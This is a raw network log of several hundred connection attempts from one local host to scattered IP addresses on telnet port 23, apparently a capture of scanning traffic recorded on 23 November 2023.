Nov 23, 2023 05:14:47.585098982 CET	55738	23	192.168.2.13	27.137.33.238
Nov 23, 2023 05:14:47.585099936 CET	55738	23	192.168.2.13	178.92.239.147
Nov 23, 2023 05:14:47.585107088 CET	55738	23	192.168.2.13	154.109.176.243
Nov 23, 2023 05:14:47.585114956 CET	55738	23	192.168.2.13	209.245.56.149
Nov 23, 2023 05:14:47.585124969 CET	55738	23	192.168.2.13	48.191.128.217
Nov 23, 2023 05:14:47.585125923 CET	55738	23	192.168.2.13	114.74.5.98
Nov 23, 2023 05:14:47.585129976 CET	55738	23	192.168.2.13	198.240.36.202
Nov 23, 2023 05:14:47.585136890 CET	55738	23	192.168.2.13	5.69.73.238
Nov 23, 2023 05:14:47.585139990 CET	55738	23	192.168.2.13	198.31.140.83
Nov 23, 2023 05:14:47.585145950 CET	55738	23	192.168.2.13	178.6.195.81
Nov 23, 2023 05:14:47.585155964 CET	55738	23	192.168.2.13	167.231.96.80
Nov 23, 2023 05:14:47.585164070 CET	55738	23	192.168.2.13	145.254.191.220
Nov 23, 2023 05:14:47.585180998 CET	55738	23	192.168.2.13	250.7.75.229
Nov 23, 2023 05:14:47.585180998 CET	55738	23	192.168.2.13	18.108.210.87
Nov 23, 2023 05:14:47.585180998 CET	55738	23	192.168.2.13	250.196.122.84
Nov 23, 2023 05:14:47.585211039 CET	55738	23	192.168.2.13	218.193.34.198
Nov 23, 2023 05:14:47.585221052 CET	55738	23	192.168.2.13	79.137.167.176
Nov 23, 2023 05:14:47.585226059 CET	55738	23	192.168.2.13	253.129.11.200
Nov 23, 2023 05:14:47.585247040 CET	55738	23	192.168.2.13	123.98.41.148
Nov 23, 2023 05:14:47.585306883 CET	55738	23	192.168.2.13	141.234.18.165
Nov 23, 2023 05:14:47.585315943 CET	55738	23	192.168.2.13	184.88.208.54
Nov 23, 2023 05:14:47.585318089 CET	55738	23	192.168.2.13	8.16.124.118
Nov 23, 2023 05:14:47.585319042 CET	55738	23	192.168.2.13	83.42.62.197
Nov 23, 2023 05:14:47.585351944 CET	55738	23	192.168.2.13	216.98.250.81
Nov 23, 2023 05:14:47.585366964 CET	55738	23	192.168.2.13	203.85.156.170
Nov 23, 2023 05:14:47.585366964 CET	55738	23	192.168.2.13	185.185.88.224
Nov 23, 2023 05:14:47.585369110 CET	55738	23	192.168.2.13	123.212.6.108
Nov 23, 2023 05:14:47.585371017 CET	55738	23	192.168.2.13	81.187.247.95
Nov 23, 2023 05:14:47.585381031 CET	55738	23	192.168.2.13	92.105.84.147
Nov 23, 2023 05:14:47.585391045 CET	55738	23	192.168.2.13	198.252.217.15
Nov 23, 2023 05:14:47.585391045 CET	55738	23	192.168.2.13	91.130.45.132
Nov 23, 2023 05:14:47.585391045 CET	55738	23	192.168.2.13	54.111.149.29
Nov 23, 2023 05:14:47.585438013 CET	55738	23	192.168.2.13	154.202.194.158
Nov 23, 2023 05:14:47.585452080 CET	55738	23	192.168.2.13	60.223.220.44
Nov 23, 2023 05:14:47.585452080 CET	55738	23	192.168.2.13	122.58.166.104
Nov 23, 2023 05:14:47.585453033 CET	55738	23	192.168.2.13	72.101.155.202
Nov 23, 2023 05:14:47.585453987 CET	55738	23	192.168.2.13	84.138.240.4
Nov 23, 2023 05:14:47.585453033 CET	55738	23	192.168.2.13	218.56.172.188
Nov 23, 2023 05:14:47.585453987 CET	55738	23	192.168.2.13	203.235.242.57
Nov 23, 2023 05:14:47.585453033 CET	55738	23	192.168.2.13	76.202.168.32
Nov 23, 2023 05:14:47.585455894 CET	55738	23	192.168.2.13	78.211.125.182
Nov 23, 2023 05:14:47.585467100 CET	55738	23	192.168.2.13	128.244.111.124
Nov 23, 2023 05:14:47.585469007 CET	55738	23	192.168.2.13	85.151.35.121
Nov 23, 2023 05:14:47.585517883 CET	55738	23	192.168.2.13	151.21.166.253
Nov 23, 2023 05:14:47.585525990 CET	55738	23	192.168.2.13	249.217.124.27
Nov 23, 2023 05:14:47.585526943 CET	55738	23	192.168.2.13	193.16.141.19
Nov 23, 2023 05:14:47.585536957 CET	55738	23	192.168.2.13	161.173.22.235
Nov 23, 2023 05:14:47.585536957 CET	55738	23	192.168.2.13	73.203.166.119
Nov 23, 2023 05:14:47.585539103 CET	55738	23	192.168.2.13	85.157.43.143
Nov 23, 2023 05:14:47.585541964 CET	55738	23	192.168.2.13	252.148.128.238
Nov 23, 2023 05:14:47.585541964 CET	55738	23	192.168.2.13	54.126.93.218
Nov 23, 2023 05:14:47.585541964 CET	55738	23	192.168.2.13	9.76.140.37
Nov 23, 2023 05:14:47.585545063 CET	55738	23	192.168.2.13	37.117.204.248
Nov 23, 2023 05:14:47.585545063 CET	55738	23	192.168.2.13	197.202.79.49
Nov 23, 2023 05:14:47.585545063 CET	55738	23	192.168.2.13	60.28.167.255
Nov 23, 2023 05:14:47.585570097 CET	55738	23	192.168.2.13	155.176.230.164
Nov 23, 2023 05:14:47.585570097 CET	55738	23	192.168.2.13	57.132.53.176
Nov 23, 2023 05:14:47.585570097 CET	55738	23	192.168.2.13	244.252.174.181
Nov 23, 2023 05:14:47.585578918 CET	55738	23	192.168.2.13	251.45.210.90
Nov 23, 2023 05:14:47.585580111 CET	55738	23	192.168.2.13	163.233.128.8
Nov 23, 2023 05:14:47.585592031 CET	55738	23	192.168.2.13	249.200.128.132
Nov 23, 2023 05:14:47.585592031 CET	55738	23	192.168.2.13	141.219.147.173
Nov 23, 2023 05:14:47.585592031 CET	55738	23	192.168.2.13	157.254.42.210
Nov 23, 2023 05:14:47.585592985 CET	55738	23	192.168.2.13	59.47.218.65
Nov 23, 2023 05:14:47.585592031 CET	55738	23	192.168.2.13	117.67.23.247
Nov 23, 2023 05:14:47.585596085 CET	55738	23	192.168.2.13	141.148.234.156
Nov 23, 2023 05:14:47.585607052 CET	55738	23	192.168.2.13	189.133.20.148
Nov 23, 2023 05:14:47.585612059 CET	55738	23	192.168.2.13	204.13.26.237
Nov 23, 2023 05:14:47.585612059 CET	55738	23	192.168.2.13	77.194.136.216
Nov 23, 2023 05:14:47.585613966 CET	55738	23	192.168.2.13	63.18.55.215
Nov 23, 2023 05:14:47.585612059 CET	55738	23	192.168.2.13	31.117.191.35
Nov 23, 2023 05:14:47.585616112 CET	55738	23	192.168.2.13	184.236.190.107
Nov 23, 2023 05:14:47.585618019 CET	55738	23	192.168.2.13	219.89.8.199
Nov 23, 2023 05:14:47.585622072 CET	55738	23	192.168.2.13	152.65.230.133
Nov 23, 2023 05:14:47.585670948 CET	55738	23	192.168.2.13	104.143.149.182
Nov 23, 2023 05:14:47.585673094 CET	55738	23	192.168.2.13	58.139.41.218
Nov 23, 2023 05:14:47.585673094 CET	55738	23	192.168.2.13	61.8.133.45
Nov 23, 2023 05:14:47.585675001 CET	55738	23	192.168.2.13	40.36.5.165
Nov 23, 2023 05:14:47.585675001 CET	55738	23	192.168.2.13	37.58.230.223
Nov 23, 2023 05:14:47.585685015 CET	55738	23	192.168.2.13	19.213.76.186
Nov 23, 2023 05:14:47.585690975 CET	55738	23	192.168.2.13	248.121.189.97
Nov 23, 2023 05:14:47.585690975 CET	55738	23	192.168.2.13	159.11.154.55
Nov 23, 2023 05:14:47.585692883 CET	55738	23	192.168.2.13	155.211.221.36
Nov 23, 2023 05:14:47.585699081 CET	55738	23	192.168.2.13	161.103.103.156
Nov 23, 2023 05:14:47.585700035 CET	55738	23	192.168.2.13	178.91.205.246
Nov 23, 2023 05:14:47.585700035 CET	55738	23	192.168.2.13	32.178.64.255
Nov 23, 2023 05:14:47.585715055 CET	55738	23	192.168.2.13	164.121.178.86
Nov 23, 2023 05:14:47.585715055 CET	55738	23	192.168.2.13	157.197.50.121
Nov 23, 2023 05:14:47.585715055 CET	55738	23	192.168.2.13	196.121.140.211
Nov 23, 2023 05:14:47.585731983 CET	55738	23	192.168.2.13	160.123.169.117
Nov 23, 2023 05:14:47.585736036 CET	55738	23	192.168.2.13	253.206.150.74
Nov 23, 2023 05:14:47.585736036 CET	55738	23	192.168.2.13	156.46.72.156
Nov 23, 2023 05:14:47.585740089 CET	55738	23	192.168.2.13	12.48.36.210
Nov 23, 2023 05:14:47.585746050 CET	55738	23	192.168.2.13	57.211.121.156
Nov 23, 2023 05:14:47.585747004 CET	55738	23	192.168.2.13	172.177.58.29
Nov 23, 2023 05:14:47.585747004 CET	55738	23	192.168.2.13	133.14.61.45
Nov 23, 2023 05:14:47.585747957 CET	55738	23	192.168.2.13	142.236.200.216
Nov 23, 2023 05:14:47.585747957 CET	55738	23	192.168.2.13	126.252.168.81
Nov 23, 2023 05:14:47.585748911 CET	55738	23	192.168.2.13	150.8.165.97
Nov 23, 2023 05:14:47.585748911 CET	55738	23	192.168.2.13	157.43.209.213
Nov 23, 2023 05:14:47.585793972 CET	55738	23	192.168.2.13	2.141.150.13
Nov 23, 2023 05:14:47.585793972 CET	55738	23	192.168.2.13	186.103.157.181
Nov 23, 2023 05:14:47.585793972 CET	55738	23	192.168.2.13	88.251.183.95
Nov 23, 2023 05:14:47.585797071 CET	55738	23	192.168.2.13	93.0.136.208
Nov 23, 2023 05:14:47.585799932 CET	55738	23	192.168.2.13	24.209.73.125
Nov 23, 2023 05:14:47.585799932 CET	55738	23	192.168.2.13	248.47.158.82
Nov 23, 2023 05:14:47.585799932 CET	55738	23	192.168.2.13	199.68.170.247
Nov 23, 2023 05:14:47.585802078 CET	55738	23	192.168.2.13	145.179.188.232
Nov 23, 2023 05:14:47.585804939 CET	55738	23	192.168.2.13	63.163.217.211
Nov 23, 2023 05:14:47.585804939 CET	55738	23	192.168.2.13	200.71.139.42
Nov 23, 2023 05:14:47.585808039 CET	55738	23	192.168.2.13	80.89.57.219
Nov 23, 2023 05:14:47.585808039 CET	55738	23	192.168.2.13	68.164.174.232
Nov 23, 2023 05:14:47.585815907 CET	55738	23	192.168.2.13	172.253.18.98
Nov 23, 2023 05:14:47.585855007 CET	55738	23	192.168.2.13	59.50.76.204
Nov 23, 2023 05:14:47.585865021 CET	55738	23	192.168.2.13	247.21.61.127
Nov 23, 2023 05:14:47.585865021 CET	55738	23	192.168.2.13	35.110.110.235
Nov 23, 2023 05:14:47.585867882 CET	55738	23	192.168.2.13	79.115.229.123
Nov 23, 2023 05:14:47.585869074 CET	55738	23	192.168.2.13	38.157.220.37
Nov 23, 2023 05:14:47.585870981 CET	55738	23	192.168.2.13	124.131.68.26
Nov 23, 2023 05:14:47.585870981 CET	55738	23	192.168.2.13	162.12.34.84
Nov 23, 2023 05:14:47.585905075 CET	55738	23	192.168.2.13	171.138.165.188
Nov 23, 2023 05:14:47.585905075 CET	55738	23	192.168.2.13	133.235.220.127
Nov 23, 2023 05:14:47.585905075 CET	55738	23	192.168.2.13	170.127.139.189
Nov 23, 2023 05:14:47.585905075 CET	55738	23	192.168.2.13	14.221.118.177
Nov 23, 2023 05:14:47.585907936 CET	55738	23	192.168.2.13	81.235.121.39
Nov 23, 2023 05:14:47.585908890 CET	55738	23	192.168.2.13	104.38.183.54
Nov 23, 2023 05:14:47.585907936 CET	55738	23	192.168.2.13	111.145.228.4
Nov 23, 2023 05:14:47.585908890 CET	55738	23	192.168.2.13	114.7.246.101
Nov 23, 2023 05:14:47.585910082 CET	55738	23	192.168.2.13	86.217.96.81
Nov 23, 2023 05:14:47.585907936 CET	55738	23	192.168.2.13	69.46.73.8
Nov 23, 2023 05:14:47.585911036 CET	55738	23	192.168.2.13	247.235.113.227
Nov 23, 2023 05:14:47.585907936 CET	55738	23	192.168.2.13	31.240.72.33
Nov 23, 2023 05:14:47.585915089 CET	55738	23	192.168.2.13	123.153.147.251
Nov 23, 2023 05:14:47.585915089 CET	55738	23	192.168.2.13	118.113.244.243
Nov 23, 2023 05:14:47.585922956 CET	55738	23	192.168.2.13	61.205.8.109
Nov 23, 2023 05:14:47.585927963 CET	55738	23	192.168.2.13	217.59.193.32
Nov 23, 2023 05:14:47.585932970 CET	55738	23	192.168.2.13	243.150.174.69
Nov 23, 2023 05:14:47.585942984 CET	55738	23	192.168.2.13	206.176.50.196
Nov 23, 2023 05:14:47.585952997 CET	55738	23	192.168.2.13	149.75.49.189
Nov 23, 2023 05:14:47.585959911 CET	55738	23	192.168.2.13	145.135.40.233
Nov 23, 2023 05:14:47.585962057 CET	55738	23	192.168.2.13	48.191.106.53
Nov 23, 2023 05:14:47.586002111 CET	55738	23	192.168.2.13	244.58.170.132
Nov 23, 2023 05:14:47.586010933 CET	55738	23	192.168.2.13	140.225.38.161
Nov 23, 2023 05:14:47.586013079 CET	55738	23	192.168.2.13	242.228.31.134
Nov 23, 2023 05:14:47.586013079 CET	55738	23	192.168.2.13	213.37.218.236
Nov 23, 2023 05:14:47.586014032 CET	55738	23	192.168.2.13	171.96.119.159
Nov 23, 2023 05:14:47.586013079 CET	55738	23	192.168.2.13	147.11.42.1
Nov 23, 2023 05:14:47.586014986 CET	55738	23	192.168.2.13	251.29.82.113
Nov 23, 2023 05:14:47.586013079 CET	55738	23	192.168.2.13	89.32.31.98
Nov 23, 2023 05:14:47.586014986 CET	55738	23	192.168.2.13	172.231.48.85
Nov 23, 2023 05:14:47.586050987 CET	55738	23	192.168.2.13	211.83.67.144
Nov 23, 2023 05:14:47.586051941 CET	55738	23	192.168.2.13	61.110.144.165
Nov 23, 2023 05:14:47.586051941 CET	55738	23	192.168.2.13	122.192.244.16
Nov 23, 2023 05:14:47.586051941 CET	55738	23	192.168.2.13	93.253.89.139
Nov 23, 2023 05:14:47.586052895 CET	55738	23	192.168.2.13	112.42.23.210
Nov 23, 2023 05:14:47.586051941 CET	55738	23	192.168.2.13	111.117.148.86
Nov 23, 2023 05:14:47.586055994 CET	55738	23	192.168.2.13	45.48.166.130
Nov 23, 2023 05:14:47.586065054 CET	55738	23	192.168.2.13	155.51.205.151
Nov 23, 2023 05:14:47.586065054 CET	55738	23	192.168.2.13	218.27.70.103
Nov 23, 2023 05:14:47.586066008 CET	55738	23	192.168.2.13	79.73.217.83
Nov 23, 2023 05:14:47.586066008 CET	55738	23	192.168.2.13	102.74.113.254
Nov 23, 2023 05:14:47.586067915 CET	55738	23	192.168.2.13	59.33.20.226
Nov 23, 2023 05:14:47.586069107 CET	55738	23	192.168.2.13	77.226.217.162
Nov 23, 2023 05:14:47.586069107 CET	55738	23	192.168.2.13	163.6.218.4
Nov 23, 2023 05:14:47.586076021 CET	55738	23	192.168.2.13	135.53.245.152
Nov 23, 2023 05:14:47.586077929 CET	55738	23	192.168.2.13	77.124.68.56
Nov 23, 2023 05:14:47.586078882 CET	55738	23	192.168.2.13	156.217.19.66
Nov 23, 2023 05:14:47.586112022 CET	55738	23	192.168.2.13	213.201.100.156
Nov 23, 2023 05:14:47.586122036 CET	55738	23	192.168.2.13	84.185.144.16
Nov 23, 2023 05:14:47.586121082 CET	55738	23	192.168.2.13	180.164.71.29
Nov 23, 2023 05:14:47.586138010 CET	55738	23	192.168.2.13	255.101.114.127
Nov 23, 2023 05:14:47.586138964 CET	55738	23	192.168.2.13	252.202.1.39
Nov 23, 2023 05:14:47.586138964 CET	55738	23	192.168.2.13	40.148.153.143
Nov 23, 2023 05:14:47.586138964 CET	55738	23	192.168.2.13	36.165.23.44
Nov 23, 2023 05:14:47.586139917 CET	55738	23	192.168.2.13	206.7.127.108
Nov 23, 2023 05:14:47.586138964 CET	55738	23	192.168.2.13	254.0.237.142
Nov 23, 2023 05:14:47.586139917 CET	55738	23	192.168.2.13	159.20.52.78
Nov 23, 2023 05:14:47.586139917 CET	55738	23	192.168.2.13	12.40.24.37
Nov 23, 2023 05:14:47.586138964 CET	55738	23	192.168.2.13	57.250.199.171
Nov 23, 2023 05:14:47.586155891 CET	55738	23	192.168.2.13	204.239.16.141
Nov 23, 2023 05:14:47.586155891 CET	55738	23	192.168.2.13	183.63.113.230
Nov 23, 2023 05:14:47.586179018 CET	55738	23	192.168.2.13	4.19.175.50
Nov 23, 2023 05:14:47.586183071 CET	55738	23	192.168.2.13	203.167.70.0
Nov 23, 2023 05:14:47.586183071 CET	55738	23	192.168.2.13	94.62.137.220
Nov 23, 2023 05:14:47.586183071 CET	55738	23	192.168.2.13	34.139.12.95
Nov 23, 2023 05:14:47.586184025 CET	55738	23	192.168.2.13	58.164.105.193
Nov 23, 2023 05:14:47.586196899 CET	55738	23	192.168.2.13	43.17.114.228
Nov 23, 2023 05:14:47.586199045 CET	55738	23	192.168.2.13	119.108.81.38
Nov 23, 2023 05:14:47.586199045 CET	55738	23	192.168.2.13	74.232.19.133
Nov 23, 2023 05:14:47.586200953 CET	55738	23	192.168.2.13	175.199.166.90
Nov 23, 2023 05:14:47.586200953 CET	55738	23	192.168.2.13	36.22.80.235
Nov 23, 2023 05:14:47.586201906 CET	55738	23	192.168.2.13	181.243.184.165
Nov 23, 2023 05:14:47.586201906 CET	55738	23	192.168.2.13	171.29.242.176
Nov 23, 2023 05:14:47.586211920 CET	55738	23	192.168.2.13	130.14.186.45
Nov 23, 2023 05:14:47.586211920 CET	55738	23	192.168.2.13	179.76.59.149
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	240.248.30.99
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	82.42.42.127
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	79.3.188.20
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	35.88.171.62
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	154.244.153.68
Nov 23, 2023 05:14:47.586214066 CET	55738	23	192.168.2.13	76.94.78.81
Nov 23, 2023 05:14:47.586219072 CET	55738	23	192.168.2.13	169.230.157.102
Nov 23, 2023 05:14:47.586221933 CET	55738	23	192.168.2.13	189.141.207.76
Nov 23, 2023 05:14:47.586221933 CET	55738	23	192.168.2.13	14.19.126.32
Nov 23, 2023 05:14:47.586222887 CET	55738	23	192.168.2.13	158.215.198.15
Nov 23, 2023 05:14:47.586227894 CET	55738	23	192.168.2.13	69.39.52.4
Nov 23, 2023 05:14:47.586227894 CET	55738	23	192.168.2.13	70.220.235.246
Nov 23, 2023 05:14:47.586240053 CET	55738	23	192.168.2.13	116.113.221.75
Nov 23, 2023 05:14:47.586240053 CET	55738	23	192.168.2.13	179.61.33.29
Nov 23, 2023 05:14:47.586240053 CET	55738	23	192.168.2.13	157.125.10.157
Nov 23, 2023 05:14:47.586281061 CET	55738	23	192.168.2.13	120.217.134.3
Nov 23, 2023 05:14:47.586281061 CET	55738	23	192.168.2.13	218.189.171.118
Nov 23, 2023 05:14:47.586282015 CET	55738	23	192.168.2.13	80.48.110.152
Nov 23, 2023 05:14:47.586282969 CET	55738	23	192.168.2.13	244.15.162.120
Nov 23, 2023 05:14:47.586282969 CET	55738	23	192.168.2.13	8.132.17.69
Nov 23, 2023 05:14:47.586294889 CET	55738	23	192.168.2.13	71.175.37.164
Nov 23, 2023 05:14:47.586294889 CET	55738	23	192.168.2.13	193.253.105.114
Nov 23, 2023 05:14:47.586318970 CET	55738	23	192.168.2.13	216.247.240.147
Nov 23, 2023 05:14:47.586322069 CET	55738	23	192.168.2.13	252.89.66.133
Nov 23, 2023 05:14:47.586363077 CET	55738	23	192.168.2.13	64.233.66.105
Nov 23, 2023 05:14:47.586368084 CET	55738	23	192.168.2.13	163.132.239.160
Nov 23, 2023 05:14:47.586385012 CET	55738	23	192.168.2.13	136.52.82.167
Nov 23, 2023 05:14:47.586391926 CET	55738	23	192.168.2.13	169.24.221.110
Nov 23, 2023 05:14:47.586416960 CET	55738	23	192.168.2.13	62.4.165.67
Nov 23, 2023 05:14:47.586431980 CET	55738	23	192.168.2.13	177.64.19.16
Nov 23, 2023 05:14:47.586436987 CET	55738	23	192.168.2.13	17.46.111.0
Nov 23, 2023 05:14:47.586436987 CET	55738	23	192.168.2.13	34.100.192.34
Nov 23, 2023 05:14:47.586438894 CET	55738	23	192.168.2.13	196.46.251.86
Nov 23, 2023 05:14:47.586440086 CET	55738	23	192.168.2.13	2.121.71.26
Nov 23, 2023 05:14:47.586461067 CET	55738	23	192.168.2.13	254.72.236.83
Nov 23, 2023 05:14:47.586463928 CET	55738	23	192.168.2.13	66.252.146.200
Nov 23, 2023 05:14:47.586522102 CET	55738	23	192.168.2.13	117.239.43.158
Nov 23, 2023 05:14:47.586522102 CET	55738	23	192.168.2.13	168.58.162.113
Nov 23, 2023 05:14:47.586529970 CET	55738	23	192.168.2.13	38.192.253.42
Nov 23, 2023 05:14:47.586532116 CET	55738	23	192.168.2.13	65.131.162.20
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	34.192.18.138
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	192.214.78.6
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	177.251.171.1
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	19.44.42.2
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	133.139.141.99
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	81.242.111.84
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	96.204.205.232
Nov 23, 2023 05:14:47.586534977 CET	55738	23	192.168.2.13	148.129.243.64
Nov 23, 2023 05:14:47.586534023 CET	55738	23	192.168.2.13	138.204.14.94
Nov 23, 2023 05:14:47.586534977 CET	55738	23	192.168.2.13	150.42.161.220
Nov 23, 2023 05:14:47.586534977 CET	55738	23	192.168.2.13	45.60.173.226
Nov 23, 2023 05:14:47.586534977 CET	55738	23	192.168.2.13	74.159.46.62
Nov 23, 2023 05:14:47.586568117 CET	55738	23	192.168.2.13	200.28.235.3
Nov 23, 2023 05:14:47.586568117 CET	55738	23	192.168.2.13	79.201.234.159
Nov 23, 2023 05:14:47.586575031 CET	55738	23	192.168.2.13	168.66.127.197
Nov 23, 2023 05:14:47.586586952 CET	55738	23	192.168.2.13	65.246.229.75
Nov 23, 2023 05:14:47.586591959 CET	55738	23	192.168.2.13	14.26.37.223
Nov 23, 2023 05:14:47.586596966 CET	55738	23	192.168.2.13	135.44.165.61
Nov 23, 2023 05:14:47.586596966 CET	55738	23	192.168.2.13	39.171.222.242
Nov 23, 2023 05:14:47.586600065 CET	55738	23	192.168.2.13	75.97.138.77
Nov 23, 2023 05:14:47.586606979 CET	55738	23	192.168.2.13	200.122.60.72
Nov 23, 2023 05:14:47.586607933 CET	55738	23	192.168.2.13	89.135.220.103
Nov 23, 2023 05:14:47.586612940 CET	55738	23	192.168.2.13	79.88.140.222
Nov 23, 2023 05:14:47.586612940 CET	55738	23	192.168.2.13	197.48.182.250
Nov 23, 2023 05:14:47.586613894 CET	55738	23	192.168.2.13	5.139.11.196
Nov 23, 2023 05:14:47.586613894 CET	55738	23	192.168.2.13	96.95.26.157
Nov 23, 2023 05:14:47.586616039 CET	55738	23	192.168.2.13	142.61.221.123
Nov 23, 2023 05:14:47.586616039 CET	55738	23	192.168.2.13	166.36.17.53
Nov 23, 2023 05:14:47.586616039 CET	55738	23	192.168.2.13	187.234.88.154
Nov 23, 2023 05:14:47.586627960 CET	55738	23	192.168.2.13	255.32.219.11
Nov 23, 2023 05:14:47.586627960 CET	55738	23	192.168.2.13	77.185.124.112
Nov 23, 2023 05:14:47.586627960 CET	55738	23	192.168.2.13	43.223.25.104
Nov 23, 2023 05:14:47.586628914 CET	55738	23	192.168.2.13	86.26.192.74
Nov 23, 2023 05:14:47.586633921 CET	55738	23	192.168.2.13	114.164.213.150
Nov 23, 2023 05:14:47.586633921 CET	55738	23	192.168.2.13	57.40.92.22
Nov 23, 2023 05:14:47.586633921 CET	55738	23	192.168.2.13	14.241.190.106
Nov 23, 2023 05:14:47.586673021 CET	55738	23	192.168.2.13	116.234.139.1
Nov 23, 2023 05:14:47.586673021 CET	55738	23	192.168.2.13	254.103.103.195
Nov 23, 2023 05:14:47.586673021 CET	55738	23	192.168.2.13	48.188.133.202
Nov 23, 2023 05:14:47.586688042 CET	55738	23	192.168.2.13	113.35.205.238
Nov 23, 2023 05:14:47.586689949 CET	55738	23	192.168.2.13	142.192.70.252
Nov 23, 2023 05:14:47.586692095 CET	55738	23	192.168.2.13	141.69.85.83
Nov 23, 2023 05:14:47.586692095 CET	55738	23	192.168.2.13	100.151.247.189
Nov 23, 2023 05:14:47.586693048 CET	55738	23	192.168.2.13	184.113.85.165
Nov 23, 2023 05:14:47.586695910 CET	55738	23	192.168.2.13	160.164.13.60
Nov 23, 2023 05:14:47.586695910 CET	55738	23	192.168.2.13	45.122.235.83
Nov 23, 2023 05:14:47.586698055 CET	55738	23	192.168.2.13	251.156.191.209
Nov 23, 2023 05:14:47.586698055 CET	55738	23	192.168.2.13	207.8.85.94
Nov 23, 2023 05:14:47.586698055 CET	55738	23	192.168.2.13	182.89.249.158
Nov 23, 2023 05:14:47.586698055 CET	55738	23	192.168.2.13	100.14.244.132
Nov 23, 2023 05:14:47.586698055 CET	55738	23	192.168.2.13	93.229.74.207
Nov 23, 2023 05:14:47.586730003 CET	55738	23	192.168.2.13	176.186.169.148
Nov 23, 2023 05:14:47.586730003 CET	55738	23	192.168.2.13	156.218.32.72
Nov 23, 2023 05:14:47.586730003 CET	55738	23	192.168.2.13	190.196.52.158
Nov 23, 2023 05:14:47.586741924 CET	55738	23	192.168.2.13	81.173.196.40
Nov 23, 2023 05:14:47.586744070 CET	55738	23	192.168.2.13	62.200.180.181
Nov 23, 2023 05:14:47.586745977 CET	55738	23	192.168.2.13	153.80.172.41
Nov 23, 2023 05:14:47.586746931 CET	55738	23	192.168.2.13	96.0.198.222
Nov 23, 2023 05:14:47.586755037 CET	55738	23	192.168.2.13	36.227.165.136
Nov 23, 2023 05:14:47.586755991 CET	55738	23	192.168.2.13	53.147.100.60
Nov 23, 2023 05:14:47.586757898 CET	55738	23	192.168.2.13	44.188.191.48
Nov 23, 2023 05:14:47.586757898 CET	55738	23	192.168.2.13	221.97.163.33
Nov 23, 2023 05:14:47.586757898 CET	55738	23	192.168.2.13	45.93.68.31
Nov 23, 2023 05:14:47.586757898 CET	55738	23	192.168.2.13	209.170.91.133
Nov 23, 2023 05:14:47.586761951 CET	55738	23	192.168.2.13	104.249.120.177
Nov 23, 2023 05:14:47.586761951 CET	55738	23	192.168.2.13	2.83.241.133
Nov 23, 2023 05:14:47.586769104 CET	55738	23	192.168.2.13	79.207.36.179
Nov 23, 2023 05:14:47.586769104 CET	55738	23	192.168.2.13	184.217.237.191
Nov 23, 2023 05:14:47.586771965 CET	55738	23	192.168.2.13	245.58.74.56
Nov 23, 2023 05:14:47.586771965 CET	55738	23	192.168.2.13	193.100.60.110
Nov 23, 2023 05:14:47.586774111 CET	55738	23	192.168.2.13	46.193.103.235
Nov 23, 2023 05:14:47.586774111 CET	55738	23	192.168.2.13	150.151.72.180
Nov 23, 2023 05:14:47.586775064 CET	55738	23	192.168.2.13	152.77.116.69
Nov 23, 2023 05:14:47.586779118 CET	55738	23	192.168.2.13	169.241.238.76
Nov 23, 2023 05:14:47.586822033 CET	55738	23	192.168.2.13	178.59.203.43
Nov 23, 2023 05:14:47.586828947 CET	55738	23	192.168.2.13	73.138.251.53
Nov 23, 2023 05:14:47.586831093 CET	55738	23	192.168.2.13	155.93.7.253
Nov 23, 2023 05:14:47.586832047 CET	55738	23	192.168.2.13	193.39.59.115
Nov 23, 2023 05:14:47.586875916 CET	55738	23	192.168.2.13	32.223.135.230
Nov 23, 2023 05:14:47.586877108 CET	55738	23	192.168.2.13	111.206.142.240
Nov 23, 2023 05:14:47.586879969 CET	55738	23	192.168.2.13	187.36.230.180
Nov 23, 2023 05:14:47.586879969 CET	55738	23	192.168.2.13	161.69.17.146
Nov 23, 2023 05:14:47.586879969 CET	55738	23	192.168.2.13	71.20.146.19
Nov 23, 2023 05:14:47.586890936 CET	55738	23	192.168.2.13	61.210.237.122
Nov 23, 2023 05:14:47.586890936 CET	55738	23	192.168.2.13	65.30.192.17
Nov 23, 2023 05:14:47.586890936 CET	55738	23	192.168.2.13	81.75.247.77
Nov 23, 2023 05:14:47.586893082 CET	55738	23	192.168.2.13	210.7.50.42
Nov 23, 2023 05:14:47.586893082 CET	55738	23	192.168.2.13	250.161.43.28
Nov 23, 2023 05:14:47.586890936 CET	55738	23	192.168.2.13	44.17.199.27
Nov 23, 2023 05:14:47.586893082 CET	55738	23	192.168.2.13	78.11.81.29
Nov 23, 2023 05:14:47.586895943 CET	55738	23	192.168.2.13	66.57.242.206
Nov 23, 2023 05:14:47.586895943 CET	55738	23	192.168.2.13	132.255.191.57
Nov 23, 2023 05:14:47.586896896 CET	55738	23	192.168.2.13	88.134.40.174
Nov 23, 2023 05:14:47.586901903 CET	55738	23	192.168.2.13	182.4.180.98
Nov 23, 2023 05:14:47.586901903 CET	55738	23	192.168.2.13	61.131.19.233
Nov 23, 2023 05:14:47.586905956 CET	55738	23	192.168.2.13	195.41.236.251
Nov 23, 2023 05:14:47.586905956 CET	55738	23	192.168.2.13	191.185.154.147
Nov 23, 2023 05:14:47.586908102 CET	55738	23	192.168.2.13	248.177.194.228
Nov 23, 2023 05:14:47.586911917 CET	55738	23	192.168.2.13	78.230.208.152
Nov 23, 2023 05:14:47.586926937 CET	55738	23	192.168.2.13	147.179.209.103
Nov 23, 2023 05:14:47.586966991 CET	55738	23	192.168.2.13	193.219.251.119
Nov 23, 2023 05:14:47.586977959 CET	55738	23	192.168.2.13	250.2.148.47
Nov 23, 2023 05:14:47.586978912 CET	55738	23	192.168.2.13	161.126.108.246
Nov 23, 2023 05:14:47.586978912 CET	55738	23	192.168.2.13	243.41.188.228
Nov 23, 2023 05:14:47.586982012 CET	55738	23	192.168.2.13	246.75.89.236
